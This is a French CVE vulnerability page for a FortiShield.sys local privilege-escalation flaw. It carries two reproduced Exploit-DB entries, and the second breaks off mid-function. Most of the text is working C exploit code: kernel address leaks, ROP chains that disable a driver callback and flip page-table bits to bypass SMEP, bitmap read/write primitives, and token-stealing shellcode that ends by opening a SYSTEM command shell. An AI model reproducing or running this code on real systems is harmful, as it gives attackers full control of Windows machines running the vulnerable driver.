Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-264 |
Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 45149
Date de publication : 2018-08-04 22h00 +00:00
Auteur : sickness & mschenk
EDB Vérifié : Yes
#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <Psapi.h>
#include <Shlobj.h>
#pragma comment (lib,"psapi")
PULONGLONG leak_buffer = (PULONGLONG)VirtualAlloc((LPVOID)0x000000001a000000, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
ULONGLONG leakQWORD(ULONGLONG addr, HANDLE driver)
{
memset((LPVOID)0x000000001a000000, 0x11, 0x1000);
memset((LPVOID)0x000000001a001000, 0x22, 0x1000);
leak_buffer[0] = 0x000000001a000008;
leak_buffer[1] = 0x0000000000000003;
leak_buffer[4] = 0x000000001a000028;
leak_buffer[6] = addr - 0x70;
DWORD IoControlCode = 0x22608C;
LPVOID InputBuffer = (LPVOID)0x000000001a000000;
DWORD InputBufferLength = 0x20;
LPVOID OutputBuffer = (LPVOID)0x000000001a001000;
DWORD OutputBufferLength = 0x110;
DWORD lpBytesReturned;
BOOL triggerIOCTL;
triggerIOCTL = DeviceIoControl(driver, IoControlCode, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
if (!triggerIOCTL)
{
printf("[!] Error in the SYSCALL: %d\n", GetLastError());
}
ULONGLONG result = leak_buffer[0x202];
return result;
}
ULONGLONG leakNtBase(HANDLE driver)
{
ULONGLONG teb = (ULONGLONG)NtCurrentTeb();
ULONGLONG thread = *(PULONGLONG)(teb + 0x78);
ULONGLONG threadInfo = leakQWORD(thread, driver);
ULONGLONG ntAddr = leakQWORD(threadInfo + 0x2a8, driver);
ULONGLONG baseAddr = 0;
ULONGLONG signature = 0x00905a4d;
ULONGLONG searchAddr = ntAddr & 0xFFFFFFFFFFFFF000;
while (TRUE)
{
ULONGLONG readData = leakQWORD(searchAddr, driver);
ULONGLONG tmp = readData & 0xFFFFFFFF;
/*
printf("%llx\n", readData);
printf("%llx\n", tmp);
*/
if (tmp == signature)
{
baseAddr = searchAddr;
break;
}
searchAddr = searchAddr - 0x1000;
}
return baseAddr;
}
ULONGLONG leakFortiBase(HANDLE driver, ULONGLONG ntBase)
{
ULONGLONG PsLoadModuleListAddr = ntBase + 0x34c5a0;
ULONGLONG searchAddr = leakQWORD(PsLoadModuleListAddr, driver);
ULONGLONG addr = 0;
while (1)
{
ULONGLONG namePointer = leakQWORD(searchAddr + 0x60, driver);
ULONGLONG name = leakQWORD(namePointer, driver);
if (name == 0x00740072006f0046)
{
name = leakQWORD(namePointer + 8, driver);
if (name == 0x0069006800530069)
{
addr = leakQWORD(searchAddr + 0x30, driver);
break;
}
}
searchAddr = leakQWORD(searchAddr, driver);
}
return addr;
}
ULONGLONG allocate_fake_stack(ULONGLONG ntBase, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG pte_result)
{
PULONGLONG fake_stack = (PULONGLONG)VirtualAlloc((LPVOID)0x00000000f5ffe000, 0x12000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (fake_stack == NULL)
{
printf("[!] Error while allocating the fake stack: %d\n", GetLastError());
return 1;
}
memset(fake_stack, 0x41, 0x12000);
PULONGLONG ropStack = (PULONGLONG)fake_stack + 0x2000;
DWORD index = 0;
// <NULL Callback>
ropStack[index] = ntBase + 0x1684ef; index++; // pop rax ; pop rcx ; ret
ropStack[index] = fortishield_callback; index++; // FortiShield Callback
ropStack[index] = 0x0000000000000000; index++; // NULL
ropStack[index] = ntBase + 0x937eb; index++; // mov qword [rax], rcx ; ret
// </NULL Callback>
// <Flip U=S bit>
ropStack[index] = ntBase + 0x88614; index++; // pop rax ; ret
ropStack[index] = pte_result; index++; // PTE VA
ropStack[index] = ntBase + 0x1a3cb2; index++; // pop rdx ; ret
ropStack[index] = 0x0000000000000063; index++; // DIRTY + ACCESSED + R/W + PRESENT
ropStack[index] = ntBase + 0xe8a8b; index++; // mov byte [rax], dl ; add eax, 0x01740000 ; ret
ropStack[index] = ntBase + 0x11e000; index++; // wbinvd ; ret
// </Flip U=S bit>
// <Restore variables & shellcode>
ropStack[index] = 0x00000000f6000100; index++; // Shellcode address
ropStack[index] = fortishield_restore; index++; // FortiShield return location
// </Restore variables & shellcode>
char token_steal[] =
"\x48\x31\xc0\x65\x48\x8b\x80"
"\x88\x01\x00\x00\x48\x8b\x80"
"\xb8\x00\x00\x00\x49\x89\xc0"
"\x48\x8b\x80\xe8\x02\x00\x00"
"\x48\x2d\xe8\x02\x00\x00\x48"
"\x8b\x88\xe0\x02\x00\x00\x48"
"\x83\xf9\x04\x75\xe6\x4c\x8b"
"\x88\x58\x03\x00\x00\x4d\x89"
"\x88\x58\x03\x00\x00\x3E\x48"
"\x8B\x04\x24\x48\x89\xF4\x48"
"\x83\xEC\x20\xFF\xE0";
memcpy((fake_stack + 0x2020), token_steal, sizeof(token_steal));
return 0;
}
ULONGLONG get_pxe_address_64(ULONGLONG address, ULONGLONG pte_start)
{
ULONGLONG result = address >> 9;
result = result | pte_start;
result = result & (pte_start + 0x0000007ffffffff8);
return result;
}
int trigger_callback()
{
printf("[+] Creating dummy file\n");
system("echo test > C:\\Users\\n00b\\AppData\\LocalLow\\test.txt");
printf("[+] Calling MoveFileEx()\n");
BOOL MFEresult = MoveFileEx(L"C:\\Users\\n00b\\AppData\\LocalLow\\test.txt", L"C:\\Users\\n00b\\AppData\\LocalLow\\test2.txt", MOVEFILE_REPLACE_EXISTING);
if (MFEresult == 0)
{
printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
return 1;
}
return 0;
}
int main()
{
LoadLibraryA("user32.dll"); // Populate Win32ThreadInfo
HANDLE mdare = CreateFile(L"\\\\.\\mdareDriver_48", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (mdare == INVALID_HANDLE_VALUE)
{
printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
return 1;
}
HANDLE forti = CreateFile(L"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (forti == INVALID_HANDLE_VALUE)
{
printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
return 1;
}
LPDWORD hThread_id = 0;
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id);
if (hThread == NULL)
{
printf("[!] Error while calling CreateThread: %d\n", GetLastError());
return 1;
}
BOOL hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
if (hThread_priority == 0)
{
printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
return 1;
}
ULONGLONG ntBase = leakNtBase(mdare);
ULONGLONG ntPivot = ntBase + 0x1ab3ec; // mov esp, 0xf6000000; retn;
ULONGLONG ntMiGetPteAddressOffset = leakQWORD(ntBase + 0x62aeb, mdare);
ULONGLONG fortishieldBase = leakFortiBase(mdare, ntBase);
ULONGLONG fortishield_callback = fortishieldBase + 0xd150;
ULONGLONG fortishield_restore = fortishieldBase + 0x2f73;
printf("[+] ntoskrnl.exe base address is: 0x%llx\n", ntBase);
printf("[+] PTE VA start address is: 0x%llx\n", ntMiGetPteAddressOffset);
printf("[+] FortiShield.sys base address is: 0x%llx\n", fortishieldBase);
ULONGLONG pte_result = get_pxe_address_64(0xf6000000, ntMiGetPteAddressOffset);
printf("[+] PTE virtual address for 0xf6000000: %I64x\n", pte_result);
allocate_fake_stack(ntBase, fortishield_callback, fortishield_restore, pte_result);
DWORD IoControlCode = 0x220028;
ULONGLONG InputBuffer = ntPivot;
DWORD InputBufferLength = 0x8;
ULONGLONG OutputBuffer = 0x0;
DWORD OutputBufferLength = 0x0;
DWORD lpBytesReturned;
//DebugBreak();
BOOL triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
ResumeThread(hThread);
WaitForSingleObject(hThread, INFINITE);
system("start cmd.exe");
return 0;
}
Exploit Database EDB-ID : 41722
Date de publication : 2017-03-24 23h00 +00:00
Auteur : sickness
EDB Vérifié : Yes
/*
Check these out:
- https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
- https://labs.mwrinfosecurity.com/blog/a-tale-of-bitmaps/
Tested on:
- Windows 10 Pro x64 (Post-Anniversary)
- ntoskrnl.exe: 10.0.14393.953
- FortiShield.sys: 5.2.3.633
Thanks to master @ryujin and @ronin for helping out. And thanks to Morten (@Blomster81) for the MiGetPteAddress :D
*/
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <Psapi.h>
#pragma comment (lib,"psapi")
#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "User32.lib")
#define object_number 0x02
#define accel_array_size 0x2b6
#define STATUS_SUCCESS 0x00000000
typedef void** PPVOID;
typedef struct _tagSERVERINFO {
UINT64 pad;
UINT64 cbHandleEntries;
} SERVERINFO, *PSERVERINFO;
typedef struct _HANDLEENTRY {
PVOID pHeader; // Pointer to the Object
PVOID pOwner; // PTI or PPI
UCHAR bType; // Object handle type
UCHAR bFlags; // Flags
USHORT wUniq; // Access count
} HANDLEENTRY, *PHANDLEENTRY;
typedef struct _SHAREDINFO {
PSERVERINFO psi;
PHANDLEENTRY aheList;
} SHAREDINFO, *PSHAREDINFO;
ULONGLONG get_pxe_address_64(ULONGLONG address, ULONGLONG pte_start) {
ULONGLONG result = address >> 9;
result = result | pte_start;
result = result & (pte_start + 0x0000007ffffffff8);
return result;
}
HMODULE ntdll;
HMODULE user32dll;
struct bitmap_structure {
HBITMAP manager_bitmap;
HBITMAP worker_bitmap;
};
struct bitmap_structure create_bitmaps(HACCEL hAccel[object_number]) {
struct bitmap_structure bitmaps;
char *manager_bitmap_memory;
char *worker_bitmap_memory;
HBITMAP manager_bitmap;
HBITMAP worker_bitmap;
int nWidth = 0x703;
int nHeight = 2;
unsigned int cPlanes = 1;
unsigned int cBitsPerPel = 8;
const void *manager_lpvBits;
const void *worker_lpvBits;
manager_bitmap_memory = malloc(nWidth * nHeight);
memset(manager_bitmap_memory, 0x00, sizeof(manager_bitmap_memory));
manager_lpvBits = manager_bitmap_memory;
worker_bitmap_memory = malloc(nWidth * nHeight);
memset(worker_bitmap_memory, 0x00, sizeof(worker_bitmap_memory));
worker_lpvBits = worker_bitmap_memory;
BOOL destroy_table;
destroy_table = DestroyAcceleratorTable(hAccel[0]);
if (destroy_table == 0) {
printf("[!] Failed to delete accelerator table[0]: %d\n", GetLastError());
exit(1);
}
manager_bitmap = CreateBitmap(nWidth, nHeight, cPlanes, cBitsPerPel, manager_lpvBits);
if (manager_bitmap == NULL) {
printf("[!] Failed to create BitMap object: %d\n", GetLastError());
exit(1);
}
printf("[+] Manager BitMap HANDLE: %I64x\n", (ULONGLONG)manager_bitmap);
destroy_table = DestroyAcceleratorTable(hAccel[1]);
if (destroy_table == 0) {
printf("[!] Failed to delete accelerator table[1]: %d\n", GetLastError());
exit(1);
}
worker_bitmap = CreateBitmap(nWidth, nHeight, cPlanes, cBitsPerPel, worker_lpvBits);
if (worker_bitmap == NULL) {
printf("[!] Failed to create BitMap object: %d\n", GetLastError());
exit(1);
}
printf("[+] Worker BitMap HANDLE: %I64x\n", (ULONGLONG)worker_bitmap);
bitmaps.manager_bitmap = manager_bitmap;
bitmaps.worker_bitmap = worker_bitmap;
return bitmaps;
}
PHANDLEENTRY leak_table_kernel_address(HMODULE user32dll, HACCEL hAccel[object_number], PHANDLEENTRY handle_entry[object_number]) {
int i;
PSHAREDINFO gSharedInfo;
ULONGLONG aheList;
DWORD handle_entry_size = 0x18;
gSharedInfo = (PSHAREDINFO)GetProcAddress(user32dll, (LPCSTR)"gSharedInfo");
if (gSharedInfo == NULL) {
printf("[!] Error while retrieving gSharedInfo: %d.\n", GetLastError());
return NULL;
}
aheList = (ULONGLONG)gSharedInfo->aheList;
printf("[+] USER32!gSharedInfo located at: %I64x\n", (ULONGLONG)gSharedInfo);
printf("[+] USER32!gSharedInfo->aheList located at: %I64x\n", (ULONGLONG)aheList);
for (i = 0; i < object_number; i++) {
handle_entry[i] = (PHANDLEENTRY)(aheList + ((ULONGLONG)hAccel[i] & 0xffff) * handle_entry_size);
}
return *handle_entry;
}
ULONGLONG write_bitmap(HBITMAP bitmap_handle, ULONGLONG to_write) {
ULONGLONG write_operation;
write_operation = SetBitmapBits(bitmap_handle, sizeof(ULONGLONG), &to_write);
if (write_operation == 0) {
printf("[!] Failed to write bits to bitmap: %d\n", GetLastError());
exit(1);
}
return 0;
}
ULONGLONG read_bitmap(HBITMAP bitmap_handle) {
ULONGLONG read_operation;
ULONGLONG to_read;
read_operation = GetBitmapBits(bitmap_handle, sizeof(ULONGLONG), &to_read);
if (read_operation == 0) {
printf("[!] Failed to write bits to bitmap: %d\n", GetLastError());
exit(1);
}
return to_read;
}
HACCEL create_accelerator_table(HACCEL hAccel[object_number], int table_number) {
int i;
table_number = object_number;
ACCEL accel_array[accel_array_size];
LPACCEL lpAccel = accel_array;
printf("[+] Creating %d Accelerator Tables\n", table_number);
for (i = 0; i < table_number; i++) {
hAccel[i] = CreateAcceleratorTableA(lpAccel, accel_array_size);
if (hAccel[i] == NULL) {
printf("[!] Error while creating the accelerator table: %d.\n", GetLastError());
exit(1);
}
}
return *hAccel;
}
LPVOID allocate_rop_chain(LPVOID kernel_base, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG manager_pvScan_offset, ULONGLONG worker_pvScan_offset) {
HANDLE pid;
pid = GetCurrentProcess();
ULONGLONG rop_chain_address = 0x000000008aff07da;
LPVOID allocate_rop_chain;
allocate_rop_chain = VirtualAlloc((LPVOID*)rop_chain_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (allocate_rop_chain == NULL) {
printf("[!] Error while allocating rop_chain: %d\n", GetLastError());
exit(1);
}
/* <Null callback> */
ULONGLONG rop_01 = (ULONGLONG)kernel_base + 0x14adaf; // pop rax; pop rcx; ret
ULONGLONG rop_02 = fortishield_callback;
ULONGLONG rop_03 = 0x0000000000000000; // NULL the callback
ULONGLONG rop_04 = (ULONGLONG)kernel_base + 0xb7621; // mov qword ptr [rax], rcx ; ret
/* </Null callback> */
/* <Overwrite pvScan0> */
ULONGLONG rop_05 = (ULONGLONG)kernel_base + 0x14adaf; // pop rax; pop rcx; ret
ULONGLONG rop_06 = (ULONGLONG)manager_pvScan_offset; // Manager BitMap pvScan0 offset
ULONGLONG rop_07 = (ULONGLONG)worker_pvScan_offset; // Worker BitMap pvScan0 offset
ULONGLONG rop_08 = (ULONGLONG)kernel_base + 0xb7621; // mov qword ptr [rax], rcx ; ret
/* </Overwrite pvScan0> */
/* <Prepare RBX (to write the orignial stack pointer to> */
ULONGLONG rop_09 = (ULONGLONG)kernel_base + 0x62c0c3; // pop rbx ; ret
ULONGLONG rop_10 = 0x000000008b0000e0;
/* </Prepare RBX (to write the orignial stack pointer to> */
/* <Get RSI value (points to the original stack) into RAX> */
ULONGLONG rop_11 = (ULONGLONG)kernel_base + 0x6292eb; // pop rax ; ret
ULONGLONG rop_12 = (ULONGLONG)kernel_base + 0x556dc9; // mov rax, rcx ; add rsp, 0x28 ; ret
ULONGLONG rop_13 = (ULONGLONG)kernel_base + 0x4115ca; // mov rcx, rsi ; call rax
ULONGLONG rop_14 = 0x4141414141414141; // JUNK
ULONGLONG rop_15 = 0x4141414141414141; // JUNK
ULONGLONG rop_16 = 0x4141414141414141; // JUNK
ULONGLONG rop_17 = 0x4141414141414141; // JUNK
/* </Get RSI value (points to the original stack) into RAX> */
/* <Adjust RAX to point to the return address pushed by the call> */
ULONGLONG rop_18 = (ULONGLONG)kernel_base + 0x61260f; // pop rcx ; ret
ULONGLONG rop_19 = 0x0000000000000028; // Get the return address
ULONGLONG rop_20 = (ULONGLONG)kernel_base + 0xd8c12; // sub rax, rcx ; ret
/* </Adjust RAX to point to the return address pushed by the call> */
/* <Overwrite the return from the call with fortishield_restore> */
ULONGLONG rop_21 = (ULONGLONG)kernel_base + 0x61260f; // pop rcx ; ret
ULONGLONG rop_22 = fortishield_restore;
ULONGLONG rop_23 = (ULONGLONG)kernel_base + 0xb7621; // mov qword ptr [rax], rcx ; ret
/* </Overwrite the return from the call with fortishield_restore> */
/* <Write the original stack pointer on our usermode_stack> */
ULONGLONG rop_24 = (ULONGLONG)kernel_base + 0x4cde3e; // mov qword ptr [rbx + 0x10], rax ; add rsp, 0x20 ; pop rbx ; ret
ULONGLONG rop_25 = 0x4141414141414141; // JUNK
ULONGLONG rop_26 = 0x4141414141414141; // JUNK
ULONGLONG rop_27 = 0x4141414141414141; // JUNK
ULONGLONG rop_28 = 0x4141414141414141; // JUNK
ULONGLONG rop_29 = 0x0000000000000000; // Value to be POP'ed in RBX, needs to be 0x00 at the end for restore
/* </Write the original stack pointer on our usermode_stack> */
/* <Restore stack pointer> */
ULONGLONG rop_30 = (ULONGLONG)kernel_base + 0x62b91b; // pop rsp ; ret
/* </Restore stack pointer> */
char *rop_chain;
DWORD rop_chain_size = 0x12000;
rop_chain = (char *)malloc(rop_chain_size);
memset(rop_chain, 0x41, rop_chain_size);
memcpy(rop_chain + 0xf826, &rop_01, 0x08);
memcpy(rop_chain + 0xf82e, &rop_02, 0x08);
memcpy(rop_chain + 0xf836, &rop_03, 0x08);
memcpy(rop_chain + 0xf83e, &rop_04, 0x08);
memcpy(rop_chain + 0xf846, &rop_05, 0x08);
memcpy(rop_chain + 0xf84e, &rop_06, 0x08);
memcpy(rop_chain + 0xf856, &rop_07, 0x08);
memcpy(rop_chain + 0xf85e, &rop_08, 0x08);
memcpy(rop_chain + 0xf866, &rop_09, 0x08);
memcpy(rop_chain + 0xf86e, &rop_10, 0x08);
memcpy(rop_chain + 0xf876, &rop_11, 0x08);
memcpy(rop_chain + 0xf87e, &rop_12, 0x08);
memcpy(rop_chain + 0xf886, &rop_13, 0x08);
memcpy(rop_chain + 0xf88e, &rop_14, 0x08);
memcpy(rop_chain + 0xf896, &rop_15, 0x08);
memcpy(rop_chain + 0xf89e, &rop_16, 0x08);
memcpy(rop_chain + 0xf8a6, &rop_17, 0x08);
memcpy(rop_chain + 0xf8ae, &rop_18, 0x08);
memcpy(rop_chain + 0xf8b6, &rop_19, 0x08);
memcpy(rop_chain + 0xf8be, &rop_20, 0x08);
memcpy(rop_chain + 0xf8c6, &rop_21, 0x08);
memcpy(rop_chain + 0xf8ce, &rop_22, 0x08);
memcpy(rop_chain + 0xf8d6, &rop_23, 0x08);
memcpy(rop_chain + 0xf8de, &rop_24, 0x08);
memcpy(rop_chain + 0xf8e6, &rop_25, 0x08);
memcpy(rop_chain + 0xf8ee, &rop_26, 0x08);
memcpy(rop_chain + 0xf8f6, &rop_27, 0x08);
memcpy(rop_chain + 0xf8fe, &rop_28, 0x08);
memcpy(rop_chain + 0xf906, &rop_29, 0x08);
memcpy(rop_chain + 0xf90e, &rop_30, 0x08);
BOOL WPMresult;
SIZE_T written;
WPMresult = WriteProcessMemory(pid, (LPVOID)rop_chain_address, rop_chain, rop_chain_size, &written);
if (WPMresult == 0)
{
printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError());
exit(1);
}
printf("[+] Memory allocated at: %p\n", allocate_rop_chain);
return allocate_rop_chain;
}
LPVOID allocate_shellcode(LPVOID kernel_base, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG pte_result) {
HANDLE pid;
pid = GetCurrentProcess();
ULONGLONG shellcode_address = 0x000000008aff07da;
LPVOID allocate_shellcode;
allocate_shellcode = VirtualAlloc((LPVOID*)shellcode_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (allocate_shellcode == NULL) {
printf("[!] Error while allocating rop_chain: %d\n", GetLastError());
exit(1);
}
/* <Overwrite PTE> */
ULONGLONG rop_01 = (ULONGLONG)kernel_base + 0x14adaf; // pop rax; pop rcx; ret
ULONGLONG rop_02 = (ULONGLONG)pte_result; // PTE address
ULONGLONG rop_03 = 0x0000000000000063; // DIRTY + ACCESSED + R/W + PRESENT
ULONGLONG rop_04 = (ULONGLONG)kernel_base + 0x130779; // mov byte ptr [rax], cl ; mov rbx, qword ptr [rsp + 8] ; ret
ULONGLONG rop_05 = (ULONGLONG)kernel_base + 0xc459c; // wbinvd ; ret
ULONGLONG rop_06 = 0x000000008b00081a; // shellcode
ULONGLONG rop_07 = fortishield_callback;
ULONGLONG rop_08 = fortishield_restore;
/* </Overwrite PTE> */
/*
;kd> dt -r1 nt!_TEB
; +0x110 SystemReserved1 : [54] Ptr64 Void
;??????+0x078 KTHREAD (not documented, can't get it from WinDBG directly)
kd> u nt!PsGetCurrentProcess
nt!PsGetCurrentProcess:
mov rax,qword ptr gs:[188h]
mov rax,qword ptr [rax+0B8h]
- Token stealing rop_chain & restore:
start:
mov rdx, [gs:0x188]
mov r8, [rdx+0x0b8]
mov r9, [r8+0x2f0]
mov rcx, [r9]
find_system_proc:
mov rdx, [rcx-0x8]
cmp rdx, 4
jz found_it
mov rcx, [rcx]
cmp rcx, r9
jnz find_system_proc
found_it:
mov rax, [rcx+0x68]
and al, 0x0f0
mov [r8+0x358], rax
restore:
mov rbp, qword ptr [rsp+0x80]
xor rbx, rbx
mov [rbp], rbx
mov rbp, qword ptr [rsp+0x88]
mov rax, rsi
mov rsp, rax
sub rsp, 0x20
jmp rbp
*/
char token_steal[] = "\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x82\xB8"
"\x00\x00\x00\x4D\x8B\x88\xF0\x02\x00\x00\x49\x8B\x09"
"\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x08\x48\x8B\x09"
"\x4C\x39\xC9\x75\xEE\x48\x8B\x41\x68\x24\xF0\x49\x89"
"\x80\x58\x03\x00\x00\x48\x8B\xAC\x24\x80\x00\x00\x00"
"\x48\x31\xDB\x48\x89\x5D\x00\x48\x8B\xAC\x24\x88\x00"
"\x00\x00\x48\x89\xF0\x48\x89\xC4\x48\x83\xEC\x20\xFF\xE5";
char *shellcode;
DWORD shellcode_size = 0x12000;
shellcode = (char *)malloc(shellcode_size);
memset(shellcode, 0x41, shellcode_size);
memcpy(shellcode + 0xf826, &rop_01, 0x08);
memcpy(shellcode + 0xf82e, &rop_02, 0x08);
memcpy(shellcode + 0xf836, &rop_03, 0x08);
memcpy(shellcode + 0xf83e, &rop_04, 0x08);
memcpy(shellcode + 0xf846, &rop_05, 0x08);
memcpy(shellcode + 0xf84e, &rop_06, 0x08);
memcpy(shellcode + 0xf8d6, &rop_07, 0x08);
memcpy(shellcode + 0xf8de, &rop_08, 0x08);
memcpy(shellcode + 0x10040, token_steal, sizeof(token_steal));
BOOL WPMresult;
SIZE_T written;
WPMresult = WriteProcessMemory(pid, (LPVOID)shellcode_address, shellcode, shellcode_size, &written);
if (WPMresult == 0)
{
printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError());
exit(1);
}
printf("[+] Memory allocated at: %p\n", allocate_shellcode);
return allocate_shellcode;
}
LPVOID GetBaseAddr(char *drvname) {
LPVOID drivers[1024];
DWORD cbNeeded;
int nDrivers, i = 0;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
char szDrivers[1024];
nDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < nDrivers; i++) {
if (GetDeviceDriverBaseName(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
//printf("%s (%p)\n", szDrivers, drivers[i]);
if (strcmp(szDrivers, drvname) == 0) {
//printf("%s (%p)\n", szDrivers, drivers[i]);
return drivers[i];
}
}
}
}
return 0;
}
DWORD trigger_callback() {
/* This file needs to be on the local HDD to work. */
printf("[+] Creating dummy file\n");
system("echo test > test.txt");
printf("[+] Calling MoveFileEx()\n");
BOOL MFEresult;
MFEresult = MoveFileEx((LPCSTR)"test.txt", (LPCSTR)"test2.txt", MOVEFILE_REPLACE_EXISTING);
if (MFEresult == 0)
{
printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
return 1;
}
return 0;
}
int main() {
ntdll = LoadLibrary((LPCSTR)"ntdll");
if (ntdll == NULL) {
printf("[!] Error while loading ntdll: %d\n", GetLastError());
return 1;
}
user32dll = LoadLibrary((LPCSTR)"user32");
if (user32dll == NULL) {
printf("[!] Error while loading user32: %d.\n", GetLastError());
return 1;
}
HACCEL hAccel[object_number];
create_accelerator_table(hAccel, object_number);
PHANDLEENTRY handle_entry[object_number];
leak_table_kernel_address(user32dll, hAccel, handle_entry);
printf(
"[+] Accelerator Table[0] HANDLE: %I64x\n"
"[+] Accelerator Table[0] HANDLE: %I64x\n"
"[+] Accelerator Table[0] kernel address: %I64x\n"
"[+] Accelerator Table[0] kernel address: %I64x\n",
(ULONGLONG)hAccel[0],
(ULONGLONG)hAccel[1],
(ULONGLONG)handle_entry[0]->pHeader,
(ULONGLONG)handle_entry[1]->pHeader
);
ULONGLONG manager_pvScan_offset;
ULONGLONG worker_pvScan_offset;
manager_pvScan_offset = (ULONGLONG)handle_entry[0]->pHeader + 0x18 + 0x38;
worker_pvScan_offset = (ULONGLONG)handle_entry[1]->pHeader + 0x18 + 0x38;
printf("[+] Replacing Accelerator Tables with BitMap objects\n");
struct bitmap_structure bitmaps;
bitmaps = create_bitmaps(hAccel);
printf("[+] Manager BitMap pvScan0 offset: %I64x\n", (ULONGLONG)manager_pvScan_offset);
printf("[+] Worker BitMap pvScan0 offset: %I64x\n", (ULONGLONG)worker_pvScan_offset);
HANDLE forti;
forti = CreateFile((LPCSTR)"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (forti == INVALID_HANDLE_VALUE) {
printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
return 1;
}
LPVOID kernel_base = GetBaseAddr("ntoskrnl.exe");
LPVOID fortishield_base = GetBaseAddr("FortiShield.sys");
ULONGLONG kernel_pivot = (ULONGLONG)kernel_base + 0x4efae5;
ULONGLONG fortishield_callback = (ULONGLONG)fortishield_base + 0xd150;
ULONGLONG fortishield_restore = (ULONGLONG)fortishield_base + 0x2f73;
printf("[+] Kernel found at: %llx\n", (ULONGLONG)kernel_base);
printf("[+] FortiShield.sys found at: %llx\n", (ULONGLONG)fortishield_base);
DWORD IoControlCode = 0x220028;
ULONGLONG InputBuffer = kernel_pivot;
DWORD InputBufferLength = 0x8;
ULONGLONG OutputBuffer = 0x0;
DWORD OutputBufferLength = 0x0;
DWORD lpBytesReturned;
LPVOID rop_chain_allocation;
rop_chain_allocation = allocate_rop_chain(kernel_base, fortishield_callback, fortishield_restore, manager_pvScan_offset, worker_pvScan_offset);
HANDLE hThread;
LPDWORD hThread_id = 0;
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id);
if (hThread == NULL)
{
printf("[!] Error while calling CreateThread: %d\n", GetLastError());
return 1;
}
BOOL hThread_priority;
hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
if (hThread_priority == 0)
{
printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
return 1;
}
printf("[+] Press ENTER to trigger the vulnerability.\n");
getchar();
BOOL triggerIOCTL;
ResumeThread(hThread);
triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
WaitForSingleObject(hThread, INFINITE);
/* <Reading the PTE base virtual address from nt!MiGetPteAddress + 0x13> */
ULONGLONG manager_write_pte_offset = (ULONGLONG)kernel_base + 0x47314 + 0x13;
printf("[+] Writing nt!MiGetPteAddress + 0x13 to Worker pvScan0.\n");
getchar();
write_bitmap(bitmaps.manager_bitmap, manager_write_pte_offset);
printf("[+] Reading from Worker pvScan0.\n");
getchar();
ULONGLONG pte_start = read_bitmap(bitmaps.worker_bitmap);
printf("[+] PTE virtual base address: %I64x\n", pte_start);
ULONGLONG pte_result;
ULONGLONG pte_value = 0x8b000000;
pte_result = get_pxe_address_64(pte_value, pte_start);
printf("[+] PTE virtual address for 0x8b000000: %I64x\n", pte_result);
/* </Reading the PTE base virtual address from nt!MiGetPteAddress + 0x13> */
BOOL VFresult;
VFresult = VirtualFree(rop_chain_allocation, 0x0, MEM_RELEASE);
if (VFresult == 0)
{
printf("[!] Error while calling VirtualFree: %d\n", GetLastError());
return 1;
}
LPVOID shellcode_allocation;
